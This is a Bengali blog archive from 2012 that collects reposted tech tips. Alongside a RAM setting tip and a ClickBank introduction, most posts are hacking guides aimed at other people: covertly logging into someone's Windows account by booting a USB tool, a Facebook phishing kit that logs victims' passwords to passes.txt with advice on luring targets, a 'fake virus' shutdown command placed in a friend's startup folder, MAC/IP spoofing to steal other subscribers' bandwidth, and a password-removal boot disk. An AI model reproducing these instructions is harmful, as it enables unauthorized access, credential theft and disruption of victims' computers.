Friday, May 4, 2012

আপনি চাইলে Ram গতি বাড়িয়ে নিতে পারেন।

 টিউন করেছেন : সজিব আহমেদ | প্রকাশিত হয়েছে : 26 May, 2011 on 10:46 pm | 2,686 বার দেখা হয়েছে |  27
Ads by Techtunes - tAds


পিসি অনেক কারনেই স্লো হয়ে যায়। তার মধ্যে একটি কারন হচ্ছে র‌্যামের সল্পতা।আমরা যখন পিসিতে কাজ করি তখন Ram অনেক তথ্য জমা হয়।পরে বিভিন্ন ক্লিনার দ্বারা ঐ ফাইল গুলো কে মুছে ফেলতে হয়।কিন্তু এখন তার আর কোন দরকার নেই।কারণ কম্পিউটার সেটি নিজে নিজে করবে।
 কম্পিউটার বন্ধ করার সময় ভার্চুয়াল মেমোরি হিসেবে কাজ করা পেইজ ফাইল মুছে ফেলে র‌্যামের গতি বাড়ানো যায়।
 এ জন্য Start থেকে control panel-এ যান। এখান থেকে Administrative Tools->Local Security Policy->Security Settings->Local Policies->Security Options ঠিকানায় যান।
 ডানপাশের Shutdown : Clear virtual memory page file অপশনে ডাবল ক্লিক করুন এবং অপশনটি Enable করে OK দিয়ে বের হয়ে আসুন। এখন কম্পিউটার বন্ধের সময় virtual memory page file স্বয়ংক্রিয়ভাবে মুছে যাবে।

আশা করি কাজ হবে। যদি কাজ হয় তা হলে জানাবেন কিন্তু।

সবাই কে ধন্যবাদ।
উইন্ডোজে ইউজার বা administrator লগইন পাসওয়ার্ড থাকা সত্তেও প্রবেশ করুন অন্যের কম্পিউটার (পাসওয়ার্ড এর কোন রকম পরিবর্তন বা ক্ষতি না করে )

 টিউন করেছেন : বোকা ছেলে আইন্সটাইন | প্রকাশিত হয়েছে : 18 June, 2011 on 6:38 pm | 6,014 বার দেখা হয়েছে |  109
Ads by Techtunes - tAds


আসসালামু আলাইকুম

আমরা সবাই হ্যাকিং করতে পচ্ছন্দ করি ,তাও যদি হয় আবার উইন্ডোজ লগইন পাসওয়ার্ড তাহলে তো কথাই নেই । ইন্টারনেটে এরকম অনেক সফটওয়্যার আছে যার মাধ্যমে আমরা অনেকেই পেনড্রাইভ অথবা সিডি দিয়ে অনায়সে উইন্ডোজ লগইন পাসওয়ার্ড ভেঙ্গে উইন্ডোজ এ প্রবেস করতে পারি । কিন্তু এক্ষেত্রে সমস্যা হলো ব্যাবহারকারি সহজেই বুঝতে পারে যে তার কম্পিউটার হ্যাক করা হয়েছে কারন পাসওয়ার্ড ভেঙ্গে ফেলার ফলে উইন্ডোজে কোন পাসওয়ার্ড থাকে না । তবে আজকে আমরা এমন এক পদ্ধতি দেখব যার মাধ্যমে উইন্ডোজ পাসওয়ার্ড না ভেঙ্গেই  উইন্ডোজে প্রবেস করবো ।
পূর্বপ্রস্তুতিঃ

# আপনি যে কম্পিউটার হ্যাক করতে চান সে কম্পিউটারের BIOS এ অবশ্যই পেনড্রাইভ দিয়ে বুট করার অপশন থাকতে হবে ( আমার দেখা মতে বাংলাদেশে বহুল ব্যাবহৃত মাদারবোর্ড হলো G31 chipset মাদারবোর্ড যা পেনড্রাইভ দিয়ে বুট করা সাপোর্ট করে । এছাড়া G31 chipset এর পরে যে সকল মাদারবোর্ড আসছে বা আসতেছে তা সবগুলোতেই পেনড্রাইভ দিয়ে  বুট করার অপশন আছে ) ।
 # আপনি যে কম্পিউটার হ্যাক করতে চান তা অবশ্যই এক্সপি ব্যাবহারকারি হতে হবে (পরবর্তীতে   উইন্ডোজ ৭ এর পদ্ধতি দেখাব ) ।

# একটি পেনড্রাইভ ( কম্পিউটার আছে কিন্তু পেনড্রাইভ নাই এরকম পাবলিক গুগল দিয়েও খুঁজে পাওয়া যাবে কিনা সন্দেহ আছে ) ।

#   এবার পেনড্রাইভ ইউএসবি পোর্ট এ লাগাই এবং ফরম্যাট করি । ফরম্যাট করার সময় অবশ্যই খেয়াল রাখতে হবে যে file system অবশ্যই fat32 থাকতে হবে ।



#  এবার এখান থেকে unetbootin নামক সফটওয়্যারটি এবং এখান থেকে .img ফাইলটি ডাউনলোড করে নেই ।

#এবার unetbootin সফটওয়্যারটি ওপেন করি এবং চিত্র অনুসারে  কাজ করি  .....................





# এবার Exit বাটন এ ক্লিক করুন , আপনার পেনড্রাইভ প্রস্তুত হয়ে গেছে হ্যাকিং এর জন্য ।
এবার চলুন মিসনে.....................

# যার কম্পিউটার হ্যাকিং করতে চাচ্ছেন তার কম্পিউটার ওপেন করুন এবং BIOS এ প্রবেশ করুন ( বেশীরভাগ কম্পিউটার এ F12 ,F8 ,DEL বাটন এর মাধ্যমে  BIOS এ প্রবেশ করা যায়  )  ।

# এবার first boot device বা boot priority  ইউএসবি  সিলেক্ট করে দেই ।  চিত্রের মাধ্যমে দেখানো হলো

# boot  এ সিলেক্ট করুন



# আবার award bios  এর ক্ষেত্রে অন্যরকম পদ্ধতি  , চিত্রে তা  দেখানো হল


# এবার advance bios  feature এ ক্লিক করুন এবং first boot device  usb hdd সিলেক্ট করে দিন । আধুনিক bios গুলোতে সরাসরি  পেনড্রাইভ এর নাম এসে পরে ।

# এবার কীবোর্ড এর f10 বাটন  চাপুন  অর্থাৎ Save & Exit Setup করুন ।

# এবার দেখবেন কম্পিউটার আবার নতুন করে চালু হয়েছে এবং নিচের চিত্রের মতন   একটি স্ক্রীন আসবে .........


# এবার একবার কীবোর্ড এর  Enter বাটন চাপুন এবং দেখুন মজা ................................. উইন্ডোজ আপনার কাছে লগইন  পাসওয়ার্ড  চাবেনা ।

এবার যখন মূল ব্যাবহারকারি কম্পিউটার এ প্রবেশ করবে তখন তার পাসওয়ার্ড দিয়েই প্রবেশ করতে হবে এক্ষেত্রে যদি কোন প্রত্যক্ষদর্শী আপনার আকাম না
 দেখে তাহলে সে কখনোই জানতে পারবেনা যে আপনি তার কম্পিউটারে প্রবেশ করেছেন ।

Thursday, May 3, 2012

BDSclick পরিচিতি
যারা অনলাইনে আয় করতে চান তাদের কাছে ক্লিকব্যাংক একটি পরিচিত নাম। মুলত ক্লিকব্যাংক একটি এফিলিয়েট নেটওয়ার্ক। সেখানে সদস্য হয়ে বিভিন্ন পন্য নিজের সাইটে রাখতে পারেন এবং বিক্রি হলে কমিশন পেতে পারেন।
ক্লিকব্যাংক সম্পর্কে আগে বলার আগে জানিয়ে রাখা ভাল, বাংলাদেশ থেকে এর সদস্য হওয়া যায় না। জনপ্রিয় অনলাইন পেমেন্ট ব্যবস্থা পেপল এর সাথে তুলনা করতে পারেন এদিক থেকে।
তাহলে ক্লিকব্যাংক সম্পর্কে লেখা হচ্ছে কেন ?

আপাতত ব্যবহারের সুযোগ না পেলেও যারা অনলাইনে আয় করতে চান তাদের প্রত্যেকেরই বিষয়টি জানা উচিত। হয়ত আগামীতে ব্যবহারের সুযোগ পেতেও পারেন (যাদের এতে ভুমিকা রাখার কথা তারা যদি দায়িত্বপালন করেন)।
ক্লিকব্যাংক ব্যাবহারের জন্য তাদের সাইটে গিয়ে একটি ফরম পুরন করতে হয়। কাজটি খুব সহজ, শুধুমাত্র মুল ঠিকানা এবং যোগাযোগের তথ্য দিতে হয়। এফিলিয়েশনের জগতে এটা অন্যদের থেকে বড় ধরনের পার্থক্য। অনেক যায়গায় আবেদনের পর অনুমোদনের জন্য অপেক্ষা করতে হয়, নানা ধরনের শর্ত পুরন করতে হয়। সেতুলনায় ক্লিকব্যাংকের সদস্য হওয়া একেবারেই সহজ।
ক্লিকব্যাংক নাম থেকে কিছুটা ধারনা পেতে পারেন, এরা ক্লিকের হিসেব রাখে। তাদের পন্য বিক্রি না করে অন্য কোম্পানীর পন্য বিক্রি করার সময় বা অন্য কোন কারনে ক্লিকের হিসেব রাখার জন্য তাদের সেবা ব্যবহার করা যায়।
তাদের ক্লিকের হিসেব রাখার পদ্ধতি সহজ। মুলত দুধরনের এফিলিয়েট লিংক ব্যবহারের সুযোগ রয়েছে, সাধারন এবং এনক্রিপটেড। প্রথমটিতে সরাসরি ওয়েবএড্রেস দেখা যায়, এনক্রিপটেড ভার্শনে সেগুলি গোপন থাকে।
তাদের মার্কেটপ্লেস থেকে পন্য বাছাই করার সময় গ্রাভিটি স্কোর নামে একটি তথ্য পাওয়া যায়। এথেকে ধারনা পেতে পারেন কোন পন্যে লাভের পরিমান কতটা।
তারা টাকা দেয় প্রতি দুসপ্তাহে একবার। টাকা উঠানোর শর্তও খুব সহজ, ১০ ডলার জমা হলেই টাকা পাওয়া যায়। এর অর্থ দিনে ১ ডলার আয় হলেই টাকা উঠানোর জন্য অপেক্ষা করতে হয় না।
তাদের কমিশনের পরিমানও যথেষ্ট বেশি। অনেক ক্ষেত্রেই ৫০% এর বেশি।
ক্লিকব্যাংক একটি পেমেন্ট নেটওয়ার্ক হিসেবেও কাজ করে। কাজেই টাকা পেতে সমস্যা হয় না। তাদের পদ্ধতির কারনে খুব সহজে জালিয়াতি থেকে রক্ষা করতে পারে।
তাদের কাজ বোঝার জন্য বিশাল অনলাইন হেল্প রয়েছে। এছাড়া সবকিছুর তুলে ধরার জন্য রয়েছে ভিডিও টিউটোরিয়াল লাইব্রেরী। তাদের ব্লগে নিয়মিতভাবে নতুন নতুন তথ্য যোগ করা হয়।
যারা অনলাইনে ব্যবসা করতে চান তাদের জন্য ক্লিকব্যাংক একটি সহজ এবং শক্তিশালী ব্যবস্থা।
যারা ক্লিকব্যাংক ব্যবহার করছেন তাদের কেউ কেউ একটিমাত্র সমালোচনা করেন, তাদের পন্য উল্লেখযোগ্য পরিমান বিক্রি হয় না। কারন অনুমান করা যায়, নিজের সাইটের পরিচিতি, ভিজিটরের সংখ্যা এবং পন্যের ধরন সবকিছুর ওপর বিক্রি নির্ভর করে। কিন্তু বাংলাদেশীদের জন্য মুল সমস্যা আগেই উল্লেখ করা হয়েছে। তাদের তালিকায় বাংলাদেশের নাম নেই। 


Link--- BDSclickcenter
           01736005629
           01676689556

Wednesday, May 2, 2012

Facebook Hacking !!!





“বিসমিল্লাহির রাহমানির রাহিম”
বিদ্রঃ এই টিউনটি বা সফটওয়্যার গুলো দ্বারা কেউ ক্ষতিগ্রস্থ হলে আমি দায়ী থাকব না। তবে কেউ যদি কোন ভাবে সামান্য ক্ষতিগ্রস্থ হয় তবে এই টিউনটি নিঃদিধায় ডিলিট বা পাসওয়ার্ড প্রোটেক অথবা ডাউনলোড লিঙ্কটি বন্ধ করা হবে। বর্তমানে ফেসবুক আই.ডি হ্যাক করা সবচেয়ে কঠিন কারন এর নিরাপত্তা সবচেয়ে জোরদার তাই এই পদ্ধত্তি ছাড়া অন্য কেন পদ্ধত্তি নেই।( কীলগার ব্যাতীত)
facebook
সবাইকে স্বাগতম আমার আজকের টিউনিং পেজে। আশা করি আপনারা সবাই ভাল আছেন। আজ আমি আপনাদের ফেসবুক হ্যাকিং সম্পর্কে ট্রিকস্ দিব। আমরা সকলেই জানি বর্তমানে ফেসবুক আই.ডি হ্যাক করা সোজা ব্যাপার নয়। কেবল মাত্র অতি দক্ষ্য হ্যাকার ছাড়া এটি সম্ভব নয়। তাই বর্তমান যে সকল ফেসবুক আই.ডি হ্যাক হচ্ছে তা সবই কীলগার সফটওয়্যারের মাধ্যমে। তবে এই ট্রিকসটির মাধ্যমে কীলগার ছাড়াও কারও ফেসবুক আই.ডি হ্যাক করা সম্ভব। এসব ট্রিকসটি দিয়ে আপনি একদিকে অন্যের উপকার অথবা আপকার করতে পারেন। সে চিন্তা আপনার বিবেকের কাছে রইলো। এই পৃথিবীর প্রতিটি বিষয়ের ভাল মন্দ দিক রয়েছে। একজন ডাক্তার চাকু দিয়ে যেমন রোগীকে সুস্থ করেন আবার অন্যদিকে একজন আপরাধী সেই চাকু দিয়ে অসৎ ভাবে মানুষের অপকার করে। এখানে কেবল মাত্র ব্যক্তির অবস্থান পরিবর্তন হয়েছে। তবে এ কথা সত্য যে অপরাধের বিচার একদিন হবেই, হোক সেটা ইহকালে বা পরকালে। আমার এই টিউটির উদ্দেশ্য আপনাদের উপকার করা, তবে কোন ভাবে যদি কেউ এর আপব্যবহার করে তবে ভবিষৎতে এর থেকে ১০০গুন উন্নত মানের হ্যাকিং টিউন আমি আর করবো না। যাক অনেক কথাই বলে ফেললাম এখন কাজের কথায় আসি…
__________________________________________________________________________________________________
১। প্রথমে এখান থেকে "Facebook Hacking" টি ডাউনলোড করুন।
২।এর ভিতরে মোট দুইটি ফাইল পাবেন, যথাক্রমেঃ
  1. Index.html
  2. write.php
৩। এখন এই তিনটি ফাইলকে যেকোন webhost সাইটে আপলোড করেদিন। যেমনঃ
৪। এবার Index.html নামক ফাইলটির লিঙ্ক আপনার কাঙ্খিত ব্যক্তির নিকট পাঠিয়ে দিন এবং তাকে লগিং করতে বলুন। তাকে লগিং করতে বাধ্য করবার জন্য নানা রকমের চাটু মূলক কথা বা হতভম্ব হবার মতন অথবা উত্তেজনা মূলক কথা মেইলে লিখতে পারেন। এছাড়া ফেসবুকে মেসেজ আকারে লিঙ্কটি দিতে পারেন এতে সন্দেহের মাত্র কম হবে। তারপর কেবল আপেক্ষার পালা।
৫। যখন সে Index.html এ তার ফেসবুক আই ডি এবং পাসওয়ার্ড লিখতে তা সাথে সাথে "passes.txt" নামে আপনার webhost সাইটে সেভ হবে।
Facebookphishing
৬। এখন "passes.txt" ফাইলটি ওপেন করে আপনার কাঙ্খিত ব্যক্তির ফেসবুক আই ডি এবং পাসওয়ার্ড দেখতে পাবরেন।
pass
আসা করি আমার এই টিউনটি আপনাদের কাজে লাগবে। আর ভাল লাগলে আমাকে অবশ্যই কমেন্ট করবেন। সবার প্রতি অনুরোধ রইলো এর অপব্যবহার না করবার।

নকল ভাইরাস তৈরী করে আপনার বন্ধুর কম্পিউটার অচল করে দিন (প্রমাণ সহ)


আসসালামুআলাইকুম

আশা করি সবাই ভালো আছেন। আমার টিউনগুলো আপনাদের কাছে কেমন লাগে তা জানি না। তবে আমি আপনাদের জন্য সবসময় নতুন এবং আর্কষনীয় টিউন করার চেষ্টা করি। যাহোক আমি আপনাদের জন্য আজকের যে টিউনটি করছি এটি মুলত কারো ক্ষতি করার জন্য নয়। এবং আমি আশা রাখি যে আপনারাও এটি দিয়ে কারো কোন ক্ষতি করবেন না। আসুন এবার টিউনটি শুরু করি।

সর্তকতা:

এই কোডটি দিয়ে কেউ ক্ষতিগ্রস্ত হলে আমি দায়ি থাকবো না। দয়া করে এই কোডটির কেউ অপব্যবহার করবেন না।

কোডটির বৈশিষ্ট্য:

এই কোডটি চালু করলে কম্পিউটার একটি নির্দিষ্ট সেকেন্ড এর পরে অটোমেটিক শার্টডাউন হবে।

নকল ভাইরাস তৈরীর ধাপ সমূহ:

১. আপনার কমি্পউটারের ডেস্কটপ এ রাইট ক্লীক করুন।


২. এখন New থেকে Shortcut নির্বাচন করে ক্লীক করুন।

৩. ফলে একটি ডায়ালগ বক্স আসবে।


৪. সেখানে নিচের কোডটি কপি করে পেষ্ট করে দিন।

shutdown -s -t 20 -c "Your computer has been infected it will now restart."

৫. Next বাটনে ক্লীক করুন।


৬. শর্টকাট নেম এ দেখবেন shutdown লেখা আছে। (আপনি shutdown এর বদলে অন্য নামও ব্যবহার করতে পারবেন)
৭. Finish বাটনে ক্লীক করে কাজ শেষ করুন।

এবার আসুন কোডটি সম্পর্কে বিস্তারিত জানার চেষ্টা করি:

যদি আপনারা কোডটি একটু ভালভাবে দেখার চেষ্টা করেন তাহলে আপনারা কোডটির মধ্যে তিনটি মেইন কোড দেখতে পাবেন। যারা কম্পিউটার শার্টডাউন করতে আপনার সহায়তা করবে। কোড তিনটি হলো:

১. shutdown -s

২. -t 20

৩. -c

অথবা


বিবরণ:
১. shutdown -s দ্বারা বুঝায় শার্টডাউন বা shutdown।
২. -t 20 দ্বারা বুঝায় যে কম্পিউটার কত সেকেন্ড পরে অটোমেটিক বন্ধ হবে বা countdown timer until computer turns off।
৩. -c দ্বারা বুঝায় যে ("") ঘরের মধ্যে লেখাগুলো হলো কমেন্টস বা comment wich is then followed by "" wich is what the comment is।

যদি আপনি উপরে উল্লেখিত নিয়ম এ নকল ভাইরাস তৈরী করতে বিরক্ত বোধ করেন তাহলে নকল ভাইরাসটি আপনার কম্পিউটারে ডাউনলোড করে নিন। সাইজ মাত্র ৭০ কিলোবাইট।


এবার আসুন শিখে নেই কীভাবে এই কোডটি ব্যবহার করতে হবে:

আপনি এটি কোড দুইটি দুইভাবে ব্যবহার করতে পারবেন।
১. সরাসরি চালু করে।
২. স্টার্টআপ ফোল্ডারে পেষ্ট করে।

বিবরণ:
১. যদি আপনি সরাসরি চালু করেন তাহলে কিছুক্ষন পরে কম্পিউটার অটোমেটিক বন্ধ হয়ে যাবে। এতে আপনার কোন ক্ষতি হবে না।
২. স্টার্টআপ ফোল্ডারে কপি করে দিলে কম্পিউটার চালু হবে ঠিকই কিন্তু কম্পিউটার ২০ সেকেন্ড পরে অটোমেটিক বন্ধ হয়ে যাবে। [বি:দ্র: এই কৌশলটি দিয়ে আপনি ক্ষতি গ্রস্ত হতে পারেন।]

এতক্ষন ধরে শুধু বকবক করলাম। আপনারা হয়ত ভাবছেন সবই ঠিক আছে কিন্তু প্রমান কোথায়?

প্রমাণ:

গতকাল আমি আমার একটি বন্ধুর বাড়িতে যাই। বন্ধুর নাম হলো সেতু। গিয়ে তার কম্পিউটারে বসি। এবং উপরে উল্লেখিত কোডটি ব্যবহার করে তার কম্পিউটার এ একটি নকল ভাইরাস তৈরী করি। তার পর এ নকল ভাইরাসটি পেষ্ট করে দেই স্টার্টআপ ফোল্ডারে। তার পর তার কাছ থেকে কিছু গেমস এবং সফটওয়্যার সংগ্রহ করে বাসায় ফিরে আসি। আজ সকালে সে আমার বাসায় আসে এবং বলে যে তার কম্পিউটারে ভাইরাস ঢুকেছে। এবং সে আমার কাছে সাহায্য চায় এই বলে: আব্দুর রহিম আমার কম্পিউটারে ভাইরাস ঢুকেছে। ফলে কম্পিউটার ৫ থেকে ৬ মিনিট পরে অটোমেটিক বন্ধ হয়ে যাচ্ছে। যদি তুমি আমার কম্পিউটারটা ভালো করার চেষ্টা করো তাহলে খুবই ভাল হতো। আমি তাকে বললাম ঠিক আছে চলো দেখি তোমার কম্পিউটারে কী হয়েছে। আমি তার কম্পিউটার এ বসে শুধু স্টার্টআপ ফোল্ডার থেকে ফেক ভাইরাস নামের শর্টকাটটি ডিলিট করে দিলাম এবং কম্পিউটার রিস্টার্ট দিলাম। তার পরে তার কম্পিউটার ভালো হয়ে গেল। তার বাসা থেকে বের হয়ে তাকে সব ঘটনা খুলে বললাম। আমার কথা শুনে হাসতে হাসতে তার পেট ফুলে গিয়েছিলো।

আমি আবারো অনুরোধ করছি দয়া করে কেউ এই টিউনটির অপব্যবহার করবেন না। আমি এটি আপনাদের সাথে শেয়ার করলাম শুধু মাত্র আপনাদের কাছে আমার এই ছোট ট্রিকসটি পৌছিয়ে দেওয়ার জন্য। ভাল লাগলে বা কোন মন্তব্য থাকলে বা কোন ভুল ত্রুটি থাকলে কমেন্টস করতে আলসেমি করবেন না যেন।

ইন্টারনেটের গতি কম? IP হ্যাক করে বেশি গতির নেট ব্যবহারের জন্য এটি দেখুন!!!

আসসালামু আলাইকুম। কেমন আছেন সবাই? আশা করি সবাই আল্লাহর রহমতে ভালোই আছেন। আজকে যেটা নিয়ে লিখতে বসেছি তা হল হ্যাকিং। হ্যাকিং শব্দটা শুনলেই কেমন জানি আমাদের চোখ চকচক করে ওঠে! এটাকে অবশ্য হ্যাকিং না বলে ক্র্যাকিং বলাই ভাল! কারণ এখানে আমি যা লিখতে যাচ্ছি তা কোন গবেষণা নয় বরং ISP কে বোকা বানিয়ে অন্যের আইপি ব্যাবহার করে  বেশি ব্যান্ডউইথ ব্যবহার করা। পোষ্টা প্রথমে দিতে চাইনি কিন্তু অনেকেই এই ট্রিক্সটা জানার জন্য উতালা হয়ে আছেন। আর তাই অবশেষে আমি এটা নিইয়ে লিখতে বসলাম। এ্যাডভান্সড ব্যবহারকারীরা অবশ্য আগে থেকেই এই ব্যপারে হাফেজ! কিন্তু যারা নতুন তাদের জন্যই এই টিউনটি করছি আর বড় ব্যাপার হল আপনি যদি বেশি ব্যান্ডউইথের কানেকশন নিয়েও ঠিক মত ইন্টারনেট ব্যবহার করতে না পেরে থাকেন, তবে এর সাহায্যে (যে সফটওয়্যার গুলো আমি দিব) আপনি আপনার কানেকশন অন্যকেও ব্যবহার করছে কিনা তাও হয়ত জানতে পারবেন।  যাই হোক এবার কাজের কথায় আসি। আপনারা যারা ব্রডব্যান্ড ইন্টারনেট সংযোগ ব্যবহার করেন তারা খুব সহজেই আপনার ISP এর অন্য কোন ব্যবহারকারীর কানেকশন ব্যবহার করে উচ্চগতি লাভ করতে পারেন। তার জন্য আপনার নিচের সফটওয়্যারটি ডাউনলোড করতে হবে। এরপর একে এক্সট্রাক্ট করার পর এর ভিতরে ipscan.exe রান করে আপনার হোস্টের IP গুলো দেখে নিন। নিচের ছবির মতো করে অনুসরণ করুন।
১. প্রথমে যা করবেন

২.

৩.

৪.

৫. এবার TMAC ইন্সটল করুন।

৬. TMAC এ্যাডমিনিস্ট্রেটর হিসেবে রান করুন।

৭. এর পর আপনার ম্যাক চেঞ্জ করে নিন এবং ঐ ম্যাকে ব্যবহৃত আইপি যোগ করুন। কোথায় কি করতে হবে তা সংক্ষেপে ছবিতে দেওয়া হল।

৮. কাজ শেষ এবার দেখুন আপনার আই ডি-ই পুরা চেঞ্জ। :) :)
আরও বিস্তারিত পরে কখোনও লিখব যদি প্রয়োজন হয়!!!
আর আপনাদের সুবিধার্থে প্রয়োজনীয় সফটওয়্যার গুলি একই আর্কাইভে দিয়ে দিলাম। এগুলো ফ্রী ওয়্যার তাই সিরিয়াল বা ক্র্যাকের ঝামেলা নেই। ডাউনলোড করতে এখানে ক্লিক করুন।
জানিনা কেমন লাগল আপনাদের। সবাই ভাল থাকবেন, এই কামনায় আজ এই পর্যন্তই। ভাল থাকুন সুস্থ্য থাকুন এই কামনায়।আর ভাল লাগলে মন্তব্য করতে ভুলবেননা। আল্লাহ হাফেজ।

উইন্ডোজ এক্সপি ভিস্তা এবং সেভেন এর password রিমুভ করুন মাএ এক মিনিটে । কি বিশ্বাস হচ্ছে না……?



প্রথমে সবাইকে আমার সালাম। উইন্ডোজ এর ইউজার password আমরা অনেক সময় ভুলে যাই আর এর জন্য নতুন করে উইন্ডোজও Install করে ফেলি আবার অনেকে অনেক জটিল পদ্দতি অনুস্মরণ করতে গিয়ে উইন্ডোজ এর ১২ টা বাজিয়ে ছেরে দেই। কি দরকার এত কিছু করার...? আজ আমার টিউন এর শিরোনাম দেখে হইত অনেকে অবাক হবেন কারণ এক মিনিটে কি করে এর উইন্ডোজ password রিমুভ করা যাই ?
হ্যা সেটাই দেখাব আজ আপনাদের, তার জন্য যা করতে হবে তা হল ছোট্ট একটি Bootable (ISO) software (8.44 MB) সিডিতে কপি করতে হবে, কপি শেষ হলে যে কম্পিউটারের password রিমুভ করা ধরকার সেই কম্পিউটারের CD-ROM-এ password রিমুভ করার সিডিটি ঢোকান, তার পর কম্পিউটার Restart করে CD থেকে Boot করুন, তার পর দেখবেন উইন্ডোজ এক্সপির মত সেটাপ হচ্ছে, তা দেখে ভয় পাবেন না বা ভাববেন না যে উইন্ডোজ এক্সপি সেটাপ হচ্ছে। একটু অপেক্ষা করুন দেখবেন Dos mod চলে আসছে এবং সেখানে সব গুলো ড্রাইব স্কেন করে যে ড্রাইবে উইন্ডোজ আছে সেটা দেখাবে।
প্রথম ধাপে আপনাকে ড্রাইব সিলেক্ট করতে বলবে ( ড্রাইব এর পাশে যে নাম্বার দেওয়া থাকবে সেটা চেপে এন্টার দেন) তার পর দ্বিতীয় ধাপে সব গুলো ইউজার নিছে দেখাবে এখান থকে যে ইউজার এর password রিমুভ করবেন সেই ইউজার এর পাশের যে নাম্বার দেওয়া থাকবে সেটা চেপে এন্টার দেন। তার পর আপনাকে বলবে আপনি কি সত্যি-ই password টি রিমুভ করতে চান ? উওর Yes হলে (Y) আর No হলে (N) চেপে এন্টার দিয়ে সিডি টি বের করে কম্পিউটার Restart করে দেখেন আর password দেওয়ার জন্য বলছে না। ভাল লাগলে মন্তব্য করবেন আর Bootable software টি ডাউনলোড করুন নিছের লিংক থেকে।

ডাউনলোড করোন এখান থেকে